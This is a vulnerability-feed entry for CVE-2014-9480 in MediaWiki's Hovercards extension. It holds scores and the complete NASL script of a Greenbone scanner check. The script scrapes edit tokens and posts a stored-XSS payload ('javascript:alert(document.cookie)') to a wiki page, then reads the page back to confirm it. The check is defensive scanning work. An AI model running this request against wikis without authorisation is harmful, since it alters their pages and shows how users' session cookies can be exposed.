8.8 High
AI Score
Confidence
High
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.002 Low
EPSS
Percentile
64.4%
Hovercards extension for MediaWiki is prone to a cross-site scripting (XSS) vulnerability.
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:mediawiki:mediawiki";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.805329");
script_version("2024-02-19T05:05:57+0000");
script_cve_id("CVE-2014-9480");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2024-02-19 05:05:57 +0000 (Mon, 19 Feb 2024)");
script_tag(name:"creation_date", value:"2015-01-27 17:16:42 +0530 (Tue, 27 Jan 2015)");
script_name("MediaWiki Hovercards extension Cross-site scripting Vulnerability (Jan 2015)");
script_tag(name:"summary", value:"Hovercards extension for MediaWiki is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request
and check whether it is able to read cookie or not.");
script_tag(name:"insight", value:"The flaw exists as input passed via
text parameter to the 'Extension:Popups'. script is
not validated before returning it to users.");
script_tag(name:"impact", value:"Successful exploitation will allow
remote attacker to execute arbitrary script code in a user's browser
session within the trust relationship between their browser and the server.");
script_tag(name:"affected", value:"Hovercards extension version before 1.24 for Mediawiki");
script_tag(name:"solution", value:"Upgrade to Hovercards extension version 1.24
or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_xref(name:"URL", value:"https://phabricator.wikimedia.org/T77625");
script_xref(name:"URL", value:"http://www.openwall.com/lists/oss-security/2015/01/03/13");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_analysis");
script_copyright("Copyright (C) 2015 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "secpod_mediawiki_detect.nasl");
script_mandatory_keys("mediawiki/installed");
script_require_ports("Services/www", 80);
script_xref(name:"URL", value:"http://www.mediawiki.org/wiki/Special:ExtensionDistributor/Popups");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!wikiPort = get_app_port(cpe:CPE)) exit(0);
if(!dir = get_app_location(cpe:CPE, port:wikiPort)) exit(0);
reqwiki = http_get(item:string(dir, "/index.php/Special:Version"), port:wikiPort);
reswiki = http_keepalive_send_recv(port:wikiPort, data:reqwiki);
if (reswiki =~">Popups<") {
url =dir+"/index.php?title=Extension:Popups&action=submit";
reqwiki = http_get(item:url, port:wikiPort);
reswiki = http_keepalive_send_recv(port:wikiPort, data:reqwiki);
wpStarttime = eregmatch(pattern:'value="([0-9]*)" name="wpStarttime"', string:reswiki);
if(!wpStarttime[1]){
exit(0);
}
wpEdittime = eregmatch(pattern:'value="([0-9]*)" name="wpEdittime"', string:reswiki);
if(!wpEdittime[1]){
exit(0);
}
wpAutoSummary = eregmatch(pattern:'value="([0-9a-zA-Z]*)" name="wpAutoSummary"', string:reswiki);
if(!wpAutoSummary[1]){
exit(0);
}
oldid = eregmatch(pattern:'value="([0-9a-zA-Z]*)" name="oldid"', string:reswiki);
if(!oldid[1]){
exit(0);
}
host = http_host_name(port:wikiPort);
postData = string('-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpAntispam"\r\n\r\n\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpSection"\r\n\r\n\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpStarttime"\r\n\r\n',
wpStarttime[1],'\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpEdittime"\r\n\r\n',
wpEdittime[1],'\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpScrolltop"\r\n\r\n0\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpAutoSummary"\r\n\r\n',
wpAutoSummary,'\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="oldid"\r\n\r\n',oldid[1],'\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpTextbox1"\r\n\r\n',
'<buy name="do" url="javascript:alert(document.cookie)" >anything</buy>\r\n\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpSummary"\r\n\r\n\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpSave"\r\n\r\n',
'Save page\r\n',
'-----------------------------7523421607973306651860038372\r\n',
'Content-Disposition: form-data; name="wpEditToken"\r\n\r\n+\\\r\n',
'-----------------------------7523421607973306651860038372--\r\n');
#Send Attack Request
sndReq = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Type: multipart/form-data;",
"boundary=---------------------------7523421607973306651860038372\r\n",
"Content-Length: ", strlen(postData), "\r\n\r\n",
"\r\n", postData, "\r\n");
rcvRes = http_send_recv(port:wikiPort, data:sndReq);
url = dir+"/index.php/Extension:Popups";
sndReq = http_get(item:url, port:wikiPort);
rcvRes = http_keepalive_send_recv(port:wikiPort, data:sndReq);
if (rcvRes =~ "HTTP/1\.. 200" && "javascript:alert(document.cookie)" >< rcvRes)
{
security_message(wikiPort);
exit(0);
}
}